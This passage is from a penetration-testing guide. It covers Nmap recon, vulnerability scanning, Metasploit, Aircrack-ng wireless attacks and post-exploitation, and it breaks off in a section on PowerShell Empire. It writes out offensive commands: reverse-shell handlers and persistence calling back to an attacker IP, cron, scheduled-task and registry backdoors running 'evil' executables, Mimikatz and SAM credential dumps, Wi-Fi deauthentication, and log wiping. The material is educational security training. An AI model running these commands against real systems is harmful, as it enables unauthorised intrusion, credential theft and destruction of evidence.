Popular tools:
● Metasploit Framework

● SQLmap

● Hydra (brute force)

● Burp Suite (web app attacks)

This phase should be executed with caution, as it can lead to system crashes
if not properly scoped and managed.

4. Post-Exploitation
After a system is compromised, the pentester evaluates the potential impact
of the breach:
● Can privilege escalation be performed?

● Is sensitive data accessible?

● Can persistence be established?

Tools:
● Empire

● Mimikatz

● PowerShell scripts

● Linux privilege escalation scripts


5. Reporting
Arguably the most critical phase, reporting provides a detailed account of
findings, methodologies used, and remediation strategies.
Reports include:
● Executive summary

● Technical details of vulnerabilities

● Proof-of-concept (PoC) evidence

● Risk assessment and recommendations

Scoping and Planning


Proper planning ensures the pentest aligns with business objectives and
avoids unintended consequences.

Setting Objectives
Determine the purpose of the test:
● Compliance (e.g., PCI-DSS)

● Assess resilience of internal systems

● Red team vs blue team simulation

● Test detection and response capabilities

Target Identification
Clearly define:
● In-scope targets (IP ranges, domains, applications)
● Out-of-scope assets

● Timeframes and test windows

Engagement Types
● Black Box: No prior knowledge

● White Box: Full access to internal architecture

● Gray Box: Partial information (common in application testing)

Risk Assessment
Evaluate:
● Business impact of potential outages

● System fragility

● Data sensitivity

Documentation and Reporting


Professional pentesting requires thorough documentation at every step.

During the Test


● Keep logs of commands, tools, and results

● Timestamped notes for each activity

● Screenshots of successful exploits

● Scripts or payloads used


This helps with traceability, reproducibility, and evidence of work.

Final Report Structure


1. Executive Summary
Clear, non-technical overview for stakeholders

2. Methodology
Outline tools, frameworks, and standards (e.g., OWASP, PTES)

3. Findings
Detailed vulnerabilities categorized by risk levels (CVSS scores)

4. Proof-of-Concept
Screenshots, payloads, command outputs

5. Recommendations
Actionable remediation strategies

6. Conclusion
Overall assessment of the organization’s security posture

The report must be tailored to the audience: a separate technical version for
IT teams and a summarized version for executives.

Rules of Engagement and Legal Boundaries


Pentesting without explicit legal authorization is illegal and considered
hacking. Rules of Engagement (RoE) ensure the test is performed ethically,
legally, and without causing harm.

Key Components of RoE


● Written Authorization: Always have a signed legal agreement

● Scope Definition: Explicit listing of targets and exclusions


● Time and Duration: Testing window and blackout periods

● Test Type: Clarify whether it’s internal, external, wireless, etc.

● Exploitation Boundaries: Define what can or cannot be exploited


(e.g., avoid denial of service attacks)

● Communication Protocols: Define how and when to report critical


findings

Legal Frameworks and Standards


● Computer Fraud and Abuse Act (CFAA) – U.S.

● General Data Protection Regulation (GDPR) – EU

● NIST SP 800-115 – Technical Guide to Information Security Testing

● OSSTMM – Open Source Security Testing Methodology Manual

● PTES – Penetration Testing Execution Standard

Ethics in Pentesting
● Respect privacy: Avoid accessing data not required by the scope

● Do no harm: Avoid damage to systems or data

● Maintain confidentiality: Treat findings as sensitive

● Full disclosure: Report all findings, including potential risks that


weren’t exploited
Information Gathering and
Reconnaissance with Nmap
Reconnaissance is the first and arguably the most crucial phase of a
penetration test. It involves collecting as much relevant information as
possible about the target before launching any exploitation attempts. Nmap
(Network Mapper) is one of the most powerful and widely used tools in this
phase. It provides essential functionalities such as host discovery, port
scanning, service identification, operating system detection, and automated
scripting, making it an indispensable tool in any pentester’s arsenal.

Introduction to Nmap
Nmap is a free and open-source network discovery and security auditing
tool. Originally designed for scanning large networks, it is highly flexible
and powerful enough for single-host reconnaissance.

Key Features:
● Host discovery

● Port scanning

● Service and version detection

● OS fingerprinting

● Scriptable interaction with the target (NSE)

Why Nmap for Recon?


● Active scanning capabilities with minimal false positives

● Efficient in both stealth and aggressive scanning modes

● Highly customizable with robust scripting engine (NSE)

● Trusted and supported by a large community of security professionals

Basic syntax:
nmap [options] [target]

Host Discovery Techniques


Host discovery determines which IP addresses on a given network are
active and reachable. Nmap offers several techniques to identify live hosts,
depending on the environment and permissions.

Common Host Discovery Methods


1. ICMP Echo Request (Ping)
Sends ICMP Echo Request packets. Hosts that reply are considered up.
nmap -sn 192.168.1.0/24

2. TCP SYN Ping


Sends TCP SYN packets to determine if hosts are listening on a specific
port.
nmap -PS22,80,443 192.168.1.0/24

3. TCP ACK Ping


Used to bypass some firewalls. Sends TCP ACK packets to check if a host
responds.
nmap -PA80,443 192.168.1.0/24
4. ARP Ping (Local Network Only)
Highly reliable on local networks. ARP requests are sent to discover hosts
regardless of firewall rules.
nmap -PR 192.168.1.0/24

5. Combination Techniques
Combining methods increases detection reliability.
nmap -PE -PS22,80,443 -PA3389 192.168.1.0/24

Port Scanning and Service Enumeration


Once live hosts are identified, Nmap can probe for open ports and
determine what services are running on those ports.

Types of Port Scans


1. TCP SYN Scan (Stealth)
Sends SYN packets and waits for SYN-ACK responses.
nmap -sS 192.168.1.1

2. TCP Connect Scan


Used when SYN scan isn’t available (e.g., lack of raw socket permissions).
nmap -sT 192.168.1.1

3. UDP Scan
More difficult due to lack of acknowledgments, but useful for discovering
UDP services.
nmap -sU 192.168.1.1
4. Comprehensive Scan
Combines multiple scan types with service and version detection.
nmap -sS -sV -sC -A 192.168.1.1

Service Enumeration
With open ports identified, the next step is to determine the service and
version behind each port.
nmap -sV 192.168.1.1

This helps in identifying:


● Specific software (e.g., Apache 2.4.49)

● Vulnerabilities associated with those versions

● Proper attack vectors

OS Fingerprinting and Script Scanning


Nmap uses TCP/IP stack behavior to infer the underlying operating system
and device type of the host.

OS Detection
nmap -O 192.168.1.1

To increase accuracy, combine OS detection with version and script


scanning:
nmap -A 192.168.1.1
Note: OS detection requires root privileges and may be affected by firewalls
or packet filtering.

Script Scanning
Nmap’s scripting engine (NSE) allows automated scanning using
predefined scripts for more detailed reconnaissance.
Default script scan:
nmap -sC 192.168.1.1

Automating Recon with Nmap Scripting Engine


(NSE)
The Nmap Scripting Engine (NSE) dramatically enhances Nmap's
capabilities. It allows Nmap to perform advanced tasks like brute forcing,
vulnerability detection, and web service enumeration.

Script Categories
● auth: Checks for authentication bypasses and default credentials

● default: Basic scripts run with -sC

● discovery: Host and service discovery (e.g., SMB shares)

● exploit: Attempts known exploits

● vuln: Identifies specific vulnerabilities

● brute: Performs brute-force logins (e.g., FTP, SSH)

● malware: Detects malware backdoors

Using Specific Scripts


Example: Detecting SMB vulnerabilities
nmap --script smb-vuln* 192.168.1.1

Example: Brute-forcing FTP


nmap --script ftp-brute 192.168.1.1

Example: Scan with a custom script


nmap --script /path/to/custom/script.nse 192.168.1.1

Running Multiple Scripts by Category


nmap --script "default,auth,vuln" 192.168.1.1

Practical Tips for Nmap Recon


● Always start with a stealth scan in noisy environments.

● Use -T4 for faster scans when time is constrained, but be cautious in
IDS/IPS environments.

● Save output in various formats for later analysis:

nmap -sS -sV -oA scan_results 192.168.1.1

This creates:
● .nmap (normal output)

● .xml (XML for tools like Metasploit)

● .gnmap (grepable format)


Vulnerability Scanning and
Analysis
After identifying active hosts and open services through reconnaissance, the
next logical step in the penetration testing process is vulnerability scanning
and analysis. This phase focuses on discovering security weaknesses that
could be exploited during later stages of the test. It blends automated tools
with manual techniques to provide a comprehensive view of the attack
surface.
This chapter explores both automated and manual methods for vulnerability
scanning using Nmap's scripting engine, OpenVAS, Nikto, and hands-on
enumeration and exploit research tools like Exploit-DB and SearchSploit.

Discovering Vulnerabilities with Nmap Scripts


While Nmap is best known for its port scanning capabilities, its Nmap
Scripting Engine (NSE) includes a powerful category of scripts
specifically designed for vulnerability detection.

Common Vulnerability Scripts


To run vulnerability-focused scripts:
nmap --script vuln [target]

This command runs all scripts tagged with the vuln category, which
includes checks for:
● CVE-specific vulnerabilities
● SSL/TLS misconfigurations

● Web application issues

● SMB and RPC flaws

Examples:
1. SMB Vulnerabilities
nmap --script smb-vuln-ms17-010 192.168.1.100

Checks for EternalBlue vulnerability.


2. HTTP Vulnerabilities
nmap --script http-vuln-cve2006-3392 192.168.1.100

Checks for a known vulnerability in PHP-Nuke.


3. General Scan with Default and Vuln Scripts
nmap -sV --script "default,vuln" 192.168.1.100

Combines service detection with vulnerability scripts.


Note: Not all scripts are guaranteed to be safe in production environments.
Some may crash services. Always test with permission in controlled
environments.

Integrating OpenVAS and Nikto


Automated scanners like OpenVAS and Nikto go deeper than Nmap in
identifying vulnerabilities, offering detailed analysis, classifications, and
sometimes remediation tips.
OpenVAS (Greenbone Vulnerability Manager)
OpenVAS is a comprehensive vulnerability scanner that maintains a
regularly updated database of known vulnerabilities. It scans systems,
compares findings with its CVE database, and produces detailed reports.
Features:
● CVE-based vulnerability matching

● Web-based interface (Greenbone Security Assistant)

● Detailed risk classification

● Scheduled scans and reporting

Basic Workflow:
Install OpenVAS:
sudo apt install openvas
sudo gvm-setup
1. Start services and access the web GUI:
sudo gvm-start
2. Log in to the Greenbone Security Assistant (usually
https://localhost:9392) and run scans.

3. Review the report for severity ratings, CVSS scores, and


remediation suggestions.

OpenVAS is suitable for in-depth infrastructure and server vulnerability


assessments.

Nikto
Nikto is a lightweight, command-line web server scanner that identifies
potential web vulnerabilities and misconfigurations.
What Nikto Scans:
● Outdated software versions

● Dangerous files and scripts

● Insecure HTTP headers

● Common configuration issues

Usage:
nikto -h http://192.168.1.100

For HTTPS and verbose output:


nikto -h https://192.168.1.100 -Display V

Nikto is particularly useful for assessing custom web applications quickly


and detecting low-hanging fruit vulnerabilities.

Manual Enumeration Techniques


While automated tools are powerful, they can’t detect every vulnerability—
especially logic flaws, chained attacks, or subtle misconfigurations. This is
where manual enumeration comes in.

Examples of Manual Techniques


1. Banner Grabbing
Use netcat, telnet, or curl to manually check responses from open services.
nc 192.168.1.100 80

curl -I http://192.168.1.100
2. HTTP Directory and File Enumeration
Tools like dirb, gobuster, and feroxbuster help identify hidden files and
directories.
gobuster dir -u http://192.168.1.100 -w
/usr/share/wordlists/dirb/common.txt

3. Enumerating SMB Shares


smbclient -L //192.168.1.100 -U anonymous

4. Extracting Service Configuration


● Checking for version info manually on web apps or CMS

● Viewing robots.txt, sitemap.xml, .git directories

● Manual fuzzing for parameters and forms

Manual testing allows deeper insight and often uncovers business logic
vulnerabilities or flaws that automated scanners cannot detect.

Exploit Research Using Exploit-DB and


SearchSploit
Once vulnerabilities are identified, the next step is finding suitable exploits.
Exploit-DB and SearchSploit are essential resources for this purpose.

Exploit-DB
Exploit-DB is a public archive of exploit code and vulnerability research. It
includes exploits for:
● Web applications
● Local and remote vulnerabilities

● Privilege escalation

● Hardware/firmware

You can search for exploits using keywords, CVE numbers, or software
versions.

SearchSploit
SearchSploit is the offline, command-line interface to the Exploit-DB
archive and comes pre-installed with Kali Linux.
Usage Examples:
1. Search for software
searchsploit vsftpd

2. Search using CVE


searchsploit CVE-2017-0144

3. Mirror an exploit
searchsploit -m linux/local/37292.c

4. Update exploit database


searchsploit -u

This tool is incredibly useful during live engagements, especially in isolated


environments without internet access.
Exploitation Using Metasploit
Framework
The Metasploit Framework is one of the most powerful and widely-used
tools in the arsenal of penetration testers and ethical hackers. It provides a
comprehensive environment for discovering, exploiting, and post-exploiting
vulnerabilities across a wide range of systems. Developed as an open-
source project, Metasploit integrates a variety of exploits, payloads,
encoders, and auxiliary modules to enable effective and flexible penetration
testing.
In this chapter, we will explore the Metasploit Framework in depth,
including its architecture, the process of selecting exploits and payloads,
using Meterpreter for post-exploitation, crafting custom exploits, and
maintaining persistence in compromised systems.

Overview of Metasploit Architecture


The Metasploit Framework follows a modular architecture, making it
adaptable and extensible. The core components that interact within
Metasploit include:

1. Core:
The core module of Metasploit is responsible for managing the framework's
internal operations, including handling user input, managing exploits and
payloads, and processing attacks. It serves as the foundation that integrates
the various other modules.

2. Modules:
Metasploit’s power lies in its extensive collection of modules that enable
penetration testers to execute attacks, gather information, and perform post-
exploitation tasks. Modules in Metasploit are categorized as follows:
● Exploits: Code designed to take advantage of vulnerabilities in target
systems.

● Payloads: Programs or commands that run on a target after successful


exploitation.

● Encoders: Tools used to modify payloads to evade detection by anti-


virus and other security measures.

● Post-exploitation: Modules used after successful exploitation for


tasks such as maintaining persistence or escalating privileges.

● Auxiliary: Non-exploit modules for scanning, enumeration, and other


reconnaissance activities.

● Nops (No-Operation): Instructions that do nothing but help in


creating buffer overflow exploits.

3. Database:
Metasploit uses a database to store information about targets,
vulnerabilities, and session information. This allows for easier tracking and
management of the penetration testing process.

4. Meterpreter:
The Meterpreter shell is a powerful, dynamically extensible payload that
facilitates post-exploitation activities. It runs entirely in memory, leaving
minimal trace and providing a wide range of functionalities for further
exploitation and persistence.

5. Interfaces:
Metasploit can be accessed through various interfaces:
● msfconsole: A command-line interface (CLI) that provides full access
to the Metasploit Framework’s features.
● msfvenom: A command-line tool used for creating custom payloads
and encoding them.

● Web Interface: Allows remote access to Metasploit through a


browser for ease of use.

● API: Enables integration of Metasploit into other tools and systems.

6. Community and Documentation:


Metasploit has a large community and extensive documentation, making it
easier for penetration testers to learn, contribute, and use the framework
effectively.

Exploit and Payload Selection


1. Selecting the Right Exploit:
The first step in exploiting a target is choosing the correct exploit. This
depends on multiple factors:
● Target Operating System (OS): The exploit must be designed for
the specific OS version (e.g., Windows, Linux, macOS).

● Software Vulnerability: Exploits are often specific to a particular


software version or configuration.

● Exploitable Conditions: Certain conditions need to be met, such as


the target system being reachable, vulnerable ports being open, and
the target application being in an exploitable state.

Metasploit provides an easy way to search for and select exploits using the
search command:
msf > search vsftpd
This command searches for any exploits related to vsftpd and displays
available modules.
Example: Exploit Selection
If you're targeting a vulnerable version of MS08-067 (an old Microsoft
Windows vulnerability), the following command would select the relevant
exploit:
msf > use exploit/windows/smb/ms08_067_netapi

2. Selecting the Right Payload:


After selecting an exploit, the next step is to choose the payload that will
run on the target system after successful exploitation. Payloads in
Metasploit can be interactive shells, reverse shells, or Meterpreter sessions.
The choice of payload depends on the goals of the attack:
● Reverse Shells: These connect back to the attacker’s machine,
providing a command shell.

● Bind Shells: These open a listening port on the target system for the
attacker to connect to.

● Meterpreter: This is the most advanced and commonly used payload,


providing full post-exploitation capabilities.

To view the payloads available for the selected exploit:


msf > show payloads

For example, after selecting the MS08-067 exploit, you can select the
Meterpreter payload:
msf > set PAYLOAD windows/meterpreter/reverse_tcp

This configures the exploit to use a Meterpreter reverse shell payload.


Meterpreter Shell Usage and Post-Exploitation
Meterpreter is a sophisticated and versatile payload that facilitates a wide
range of post-exploitation activities. Once a successful connection is made
to the target system, the Meterpreter shell is initiated, offering various
commands and functionalities.

1. Basic Meterpreter Commands:


● sysinfo: Displays basic system information (OS, architecture, etc.).

● getuid: Returns the user account currently running Meterpreter.

● ps: Lists processes running on the target system.

● shell: Drops into a standard command shell for the target system.

● upload: Uploads files from the attacker's system to the target.

● download: Downloads files from the target system to the attacker's


system.

● keyscan_start: Starts recording keystrokes on the target system.

● screenshot: Captures a screenshot of the target system’s desktop.

● hashdump: Dumps password hashes from the target system.

2. Post-Exploitation Tasks:
Meterpreter provides powerful post-exploitation capabilities for further
compromising the system:
● Privilege Escalation: If the attacker gains a low-privilege shell, they
can attempt to elevate their privileges to administrator/root level using
techniques like exploiting known vulnerabilities or using local
exploits.

● Pivoting: If the compromised system has network access to other


machines, pivoting allows the attacker to access systems that were
previously unreachable.

● Persistence: Meterpreter can be used to install backdoors for


maintaining access to the system after a reboot or cleanup.

3. Session Management:
Metasploit can manage multiple Meterpreter sessions simultaneously. For
example:
msf > sessions -i 1

This command connects to session 1, allowing you to interact with the


compromised target.

Creating and Modifying Custom Exploits


Metasploit provides a flexible framework for creating custom exploits
tailored to specific targets. This can be particularly useful when working
with zero-day vulnerabilities or when the public exploits do not work as
expected.

1. Creating a Custom Exploit:


Custom exploits are typically written in Ruby, the language used by
Metasploit. To create a custom exploit, you'll need to define several
components:
● Payload: The malicious code that runs on the target after successful
exploitation.

● Exploit Code: Code that triggers the vulnerability.


● Target: The specific system or configuration being targeted.

An example of creating a custom exploit:


msf > use exploit/multi/handler
msf > set PAYLOAD windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.10
msf > set LPORT 4444
msf > exploit

This creates a listener for a Meterpreter reverse shell, which can be adapted
to your needs.

2. Modifying an Existing Exploit:


Metasploit allows for the easy modification of existing exploits to better
suit the specific target. You can adjust settings, parameters, or payloads in
the modules/exploits directory, ensuring your custom modifications meet
your penetration testing goals.

Maintaining Persistence with Metasploit


After successfully exploiting a system, it's crucial to maintain access to
ensure continuous control over the target machine. Metasploit offers several
methods for ensuring persistence.

1. Persistence Through Meterpreter:


Using Meterpreter, you can create a persistent backdoor that automatically
reconnects even after the system is rebooted or after a user logs off. The
persistence functionality in Meterpreter is simple and effective:
meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.10
This command creates a persistent reverse shell that reconnects every 5
seconds, ensuring continuous access.

2. Creating Persistent Backdoors Using Metasploit:


Metasploit can inject payloads into system services or create new scheduled
tasks to ensure access persists. For Windows systems, this could involve
creating a scheduled task that executes the Meterpreter reverse shell each
time the system boots up.
Wireless Attacks Using Aircrack-
ng Suite
The Aircrack-ng suite is a powerful set of tools used for wireless network
auditing and penetration testing. It focuses on capturing and analyzing
wireless traffic, cracking WEP and WPA/WPA2 encryption, performing
deauthentication attacks, and more. Aircrack-ng is a crucial tool in a
penetration tester’s toolkit for assessing the security of wireless networks.
This chapter will explore wireless network fundamentals, the process of
capturing and cracking WPA/WPA2 handshakes, deauthentication attacks,
creating evil twin attacks, monitoring wireless traffic, and advanced
techniques using Aircrack-ng.

Wireless Network Fundamentals


Before diving into the specifics of wireless attacks, it’s important to
understand the basic components and protocols involved in wireless
networking.

1. Wireless Local Area Networks (WLANs):


A Wireless Local Area Network (WLAN) is a network that connects
devices wirelessly within a limited geographical area, such as a home,
office, or campus. It uses radio waves to transmit data between devices,
typically using IEEE 802.11 standards (Wi-Fi).

2. Basic Components of a WLAN:


● Access Points (APs): Devices that provide wireless connectivity for
clients (e.g., laptops, smartphones). APs act as intermediaries between
wireless devices and wired networks.
● Clients: Wireless devices that connect to the access point to access
the network.

● SSID (Service Set Identifier): The name of a WLAN that


differentiates one network from another.

● BSSID (Basic Service Set Identifier): The MAC address of the


access point used to identify the network.

● Encryption: Wireless networks can be encrypted to secure


communication, preventing unauthorized access. Common encryption
methods include WEP, WPA, and WPA2.

3. Wireless Network Standards:


● WEP (Wired Equivalent Privacy): An outdated and vulnerable
encryption standard. It’s easily crackable using modern tools like
Aircrack-ng.

● WPA (Wi-Fi Protected Access): An improvement over WEP with


stronger encryption, but still vulnerable to attacks like dictionary-
based cracking.

● WPA2 (Wi-Fi Protected Access II): The most secure wireless


encryption standard, utilizing AES (Advanced Encryption Standard).
WPA2 remains widely used but can still be attacked under certain
conditions.

4. Radio Frequency (RF) Basics:


Wireless networks operate on different frequency bands, typically the 2.4
GHz and 5 GHz bands. The 2.4 GHz band is more congested and
commonly used by many devices, while the 5 GHz band is less crowded
and provides faster data rates.
Capturing Handshakes and Cracking
WPA/WPA2
One of the most common tasks in wireless network penetration testing is
capturing WPA/WPA2 handshakes and then attempting to crack the
encryption key. A handshake occurs when a client connects to an access
point, establishing a secure connection by exchanging cryptographic keys.

1. Capturing the WPA/WPA2 Handshake:


To capture a WPA/WPA2 handshake, the attacker needs to sniff the wireless
network traffic and wait for a client to connect to the target access point.
The handshake is a 4-way exchange between the client and the access point,
containing critical information that can be used to crack the network’s
password.
Steps for Capturing the Handshake:
Put the Wireless Interface into Monitor Mode: This mode allows your
wireless adapter to capture all wireless traffic in the vicinity.
airmon-ng start wlan0
● Scan for Networks: Use airodump-ng to scan for available wireless
networks and identify the target access point.
airodump-ng wlan0mon
● Capture Handshakes: Once you’ve found the target network, start
capturing packets and look for a handshake. This can be done by
specifying the target network’s BSSID and the channel number.
airodump-ng --bssid <BSSID> -c <channel> -w capture wlan0mon
● Wait for a Client to Connect: The easiest way to capture a
handshake is to wait for a legitimate client to connect to the network,
triggering the 4-way handshake.

● Force a Reconnection: If no clients are connecting, you can force a


client to disconnect using a deauthentication attack, which will
prompt the client to reconnect, allowing you to capture the handshake.
aireplay-ng --deauth 10 -a <BSSID> wlan0mon

2. Cracking WPA/WPA2 Encryption:


Once you’ve captured the handshake, you can attempt to crack the
WPA/WPA2 password using dictionary-based attacks or brute-force
attacks.
Using Aircrack-ng: After capturing the handshake in a .cap file, use
aircrack-ng to attempt cracking it.
aircrack-ng capture.cap -w wordlist.txt
● Here, wordlist.txt contains a list of potential passwords. The
effectiveness of this attack relies heavily on the strength of the
password and the quality of the wordlist used.

● Using WPA2-PSK Dictionary Attack: Aircrack-ng can use various


algorithms to check each entry in the wordlist against the handshake.
If the password exists in the wordlist, it will be cracked.

Limitations of Cracking WPA/WPA2:


● Weak Passwords: WPA/WPA2 encryption is only as strong as the
password used. A weak password will be susceptible to cracking.

● Longer Passwords: Stronger, longer passwords take exponentially


longer to crack, even with high-performance hardware.

Deauthentication and Evil Twin Attacks


1. Deauthentication Attacks:
A Deauthentication Attack is a denial-of-service (DoS) attack that forces
a client to disconnect from an access point by sending deauthentication
frames to both the client and the access point. The client is then forced to
reconnect, potentially triggering a handshake capture.
Steps to Perform a Deauthentication Attack:
Initiate Deauthentication: Use the aireplay-ng tool to send
deauthentication packets to a specific client or all clients on the target
network.
aireplay-ng --deauth 10 -a <BSSID> -c <client MAC> wlan0mon
● This will send 10 deauthentication packets to the client, causing them
to disconnect and reconnect, providing an opportunity to capture the
handshake.

2. Evil Twin Attacks:


An Evil Twin Attack involves creating a rogue access point that mimics a
legitimate access point. This confuses clients, causing them to connect to
the attacker’s rogue AP instead of the legitimate one.
Steps for an Evil Twin Attack:
Set Up the Rogue AP: Use Airbase-ng, part of the Aircrack-ng suite, to
create the rogue AP with the same SSID as the target access point.
airbase-ng -e <SSID> -c <channel> wlan0mon

● Capture Handshakes: Once clients connect to your rogue AP, you
can capture the WPA/WPA2 handshakes, just as you would when they
connect to a legitimate AP.

● Man-in-the-Middle: With the Evil Twin set up, you can also
implement man-in-the-middle (MitM) attacks, intercepting and
manipulating traffic between the client and the access point.

Monitoring and Sniffing Wireless Traffic


One of the key functions of Aircrack-ng is monitoring and sniffing wireless
traffic. This allows penetration testers to gather valuable information, such
as identifying vulnerable networks, obtaining BSSIDs, capturing
handshakes, and more.

1. Packet Sniffing:
To sniff wireless traffic, you can use airodump-ng, which captures data
packets from wireless networks.
airodump-ng wlan0mon

This command will show a list of all wireless networks in the vicinity,
including information such as BSSID, SSID, channel, encryption type, and
data rates.

2. Capturing Data Packets:


You can capture packets from a specific network and store them for later
analysis. The captured packets can include authentication, association, and
data packets, which can be useful for cracking encryption.
airodump-ng --bssid <BSSID> -c <channel> -w capture wlan0mon

3. Sniffing for WEP and WPA Cracks:


Once data packets are captured, Aircrack-ng allows for the analysis of those
packets to crack WEP or WPA encryption, as discussed in previous
sections.

Advanced Aircrack-ng Usage and Automation


For advanced users, Aircrack-ng can be automated and used for more
complex wireless auditing tasks.

1. Automating Handshake Capture:


Automating the process of capturing handshakes and attacking the network
can save time and improve efficiency. You can script the deauthentication
attack and handshake capture process, automatically triggering attempts to
crack the WPA/WPA2 password.
Example script:
#!/bin/bash
# Capture WPA handshake automatically
airmon-ng start wlan0
airodump-ng --bssid <BSSID> -c <channel> -w capture wlan0mon &
sleep 5
aireplay-ng --deauth 10 -a <BSSID> wlan0mon

2. Distributed Cracking:
To speed up WPA/WPA2 cracking, you can distribute the cracking task
across multiple machines using tools like Hashcat or John the Ripper,
both of which are highly efficient at cracking large datasets.

3. Integrating Aircrack-ng with Other Tools:


For more advanced usage, Aircrack-ng can be combined with other tools
like Wireshark for packet analysis or Kismet for additional wireless
network detection and monitoring.
Post-Exploitation Techniques and
Lateral Movement
Once initial access is gained during a penetration test or a real-world attack,
post-exploitation begins. This phase involves exploring the compromised
system, harvesting credentials, elevating privileges, maintaining access, and
moving laterally within a network to expand control and access sensitive
assets.
The ultimate goals of post-exploitation include establishing persistence,
gathering intelligence, escalating privileges, spreading laterally, and
eventually exfiltrating data while avoiding detection.

Maintaining Access and Persistence


Persistence ensures that an attacker retains access to the compromised
machine, even after reboots or user logout. This step is crucial for long-term
exploitation, data theft, or remote access.

1. Common Persistence Techniques:


a. Scheduled Tasks / Cron Jobs:
On Windows and Linux systems, malicious scripts or executables can be
scheduled to run at regular intervals.
Windows:
schtasks /create /tn "Updater" /tr "C:\evil.exe" /sc minute /mo 5
Linux:
echo "@reboot /usr/bin/evil.sh" >> /etc/crontab
b. Startup Folder / Registry Run Keys:
Attackers can drop malicious executables into Windows startup folders or
modify registry keys to ensure persistence.
Registry:
reg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v
"Updater" /t REG_SZ /d "C:\evil.exe"

c. DLL Hijacking and COM Hijacking:


Subverting system DLL paths or COM objects to load attacker-controlled
code during the execution of legitimate processes.
d. Backdoors and Reverse Shells:
Establishing a reverse shell that calls back to the attacker’s system on boot.
● Tools: Netcat, Metasploit’s persistence module, ncat, Empire.

e. Planted SSH Keys:


On Linux, adding a public key to the .ssh/authorized_keys file allows
passwordless login.
echo "ssh-rsa AAAAB3..." >> ~/.ssh/authorized_keys

Privilege Escalation Techniques


After obtaining a foothold, attackers often operate with low privileges.
Privilege escalation involves exploiting misconfigurations or vulnerabilities
to gain root or SYSTEM-level access.

1. Windows Privilege Escalation:


a. Exploiting Vulnerable Services:
Look for services that run with SYSTEM privileges but are writable or
misconfigured.
● Tools: accesschk, winPEAS, PowerUp

b. Unquoted Service Paths:


If a service path has spaces and isn’t quoted, Windows will attempt to
execute the first matching file it finds.
sc qc "Service Name"

c. Insecure Registry Permissions:


Users can escalate if they can write to registry keys used by SYSTEM
processes.
d. Token Impersonation / Privileged Tokens:
Using stolen or escalated tokens to run commands as another user (e.g., NT
AUTHORITY\SYSTEM).
e. Exploiting Kernel Vulnerabilities:
Known exploits like MS10-015, MS16-032, or PrintNightmare.

2. Linux Privilege Escalation:


a. Sudo Misconfigurations:
Users with sudo rights to specific binaries can be exploited.
sudo -l

If sudo allows running something like vim, bash, perl, it can lead to root
shell.
b. SetUID Binaries:
Identify binaries with the SetUID bit set that can be exploited.
find / -perm -4000 -type f 2>/dev/null

c. Weak File Permissions:


Writable config files or scripts executed by root can be hijacked.
d. Kernel Exploits:
Tools like Linux Exploit Suggester, LinPEAS, or dirtycow exploit known
Linux kernel vulnerabilities.

Lateral Movement Within Internal Networks


Lateral movement refers to moving from one compromised system to
another within the same network to reach higher-value targets.

1. Credential Reuse and Pass-the-Hash:


Once you have user credentials or password hashes, try them on other
systems.
● Pass-the-Hash: Use NTLM hashes with tools like Mimikatz or pth-
winexe.

● Pass-the-Ticket: Reuse Kerberos TGTs (Golden Ticket / Silver


Ticket attacks).

2. Remote Services and Admin Tools:


a. Windows:
● PsExec: Remote command execution using SMB and admin
credentials.

● WMI: Use Windows Management Instrumentation for remote access.

● WinRM / PowerShell Remoting: Often used in domain


environments.

b. Linux:
● SSH: Reuse credentials or keys to access neighboring systems.
● Rsync, NFS, SSHFS: For file movement or remote command
execution.

3. Enumerating the Network:


Identify other systems, services, and users.
● Tools: BloodHound, SharpHound, CrackMapExec, rpcclient,
enum4linux

4. Pivoting and Tunneling:


Using compromised systems as jump hosts or proxies to access internal
resources not exposed externally.
● SOCKS Proxy: Via proxychains or Metasploit pivoting.

SSH Tunneling:
ssh -L 9999:target.internal:3389 user@pivot-host

Credential Harvesting and Data Exfiltration


1. Credential Harvesting:
a. Mimikatz:
Extracts plaintext passwords, hashes, PINs, and Kerberos tickets from
memory.
privilege::debug
sekurlsa::logonpasswords

b. Windows Vault & Credential Manager:


Extract stored credentials using tools like VaultCmd or Mimikatz.
c. Browser Credential Dumps:
Harvest stored passwords from Chrome, Firefox, Edge.
d. Keyloggers and Clipboard Grabbers:
Capture typed passwords or clipboard contents using scripts or malware.
e. Dumping SAM & SYSTEM Registry Hives:
reg save HKLM\SAM sam.save
reg save HKLM\SYSTEM system.save

Then use secretsdump.py or pwdump.

2. Data Exfiltration:
a. Manual File Extraction:
Copy files of interest, compress, and encrypt them for extraction.
tar -czf secrets.tar.gz /sensitive/data

b. Staging and Upload:


Use FTP, SCP, HTTP, DNS tunneling, or C2 channels (e.g., Metasploit’s
Meterpreter).
c. Exfiltration via Cloud or Web Services:
Upload data to Dropbox, Google Drive, Pastebin, or attacker-controlled
servers.
d. Tunneling and Covert Channels:
Use protocols like DNS or ICMP to tunnel data out of a network
undetected.

Clearing Tracks and Anti-Forensics Tactics


To remain undetected or frustrate investigators, attackers may engage in
anti-forensics tactics to erase or hide evidence of their activities.
1. Clearing Logs:
a. Windows:
Clear Event Viewer logs:
wevtutil cl System
wevtutil cl Security

b. Linux:
Delete logs manually:
rm /var/log/auth.log /var/log/syslog

● Use tools to overwrite logs or inject fake entries.

2. Timestomping:
Modify file timestamps to make files appear legitimate or older.
● Tools: Metasploit, touch, SetMACE

3. Covering Persistence Mechanisms:


Use fileless malware, in-memory-only payloads, or encrypted loaders.
● Hide in scheduled tasks, registry, or alternate data streams (ADS).

cmd.exe /c echo malicious > file.txt:secret

4. In-Memory Execution and Fileless Attacks:


Use PowerShell or Living off the Land Binaries (LOLBins) to avoid
touching disk.
● Examples: Invoke-Mimikatz, certutil, regsvr32, mshta, rundll32
5. Disabling Security Controls:
● Stop AV or EDR services using sc stop, PowerShell, or process
injection.

● Modify or kill logging agents.


Advanced Attacks Using Empire
Framework
Introduction to PowerShell Empire
PowerShell Empire is a post-exploitation and command-and-control (C2)
framework that leverages PowerShell agents to provide attackers and red
teamers with a robust platform for executing complex attacks in Windows
environments. Originally developed by Will Schroeder (@harmj0y) and
others, Empire filled a critical gap in PowerShell-based red teaming by
offering a modular, stealthy, and extensible framework for offensive
operations.
After being discontinued and later revived by the BC Security team,
modern versions of Empire include support for Python3, cross-platform
agents, and integration with RESTful APIs, obfuscation, and encryption
mechanisms to help evade detection.
Empire is widely used in red team engagements due to its:
● Fileless command execution

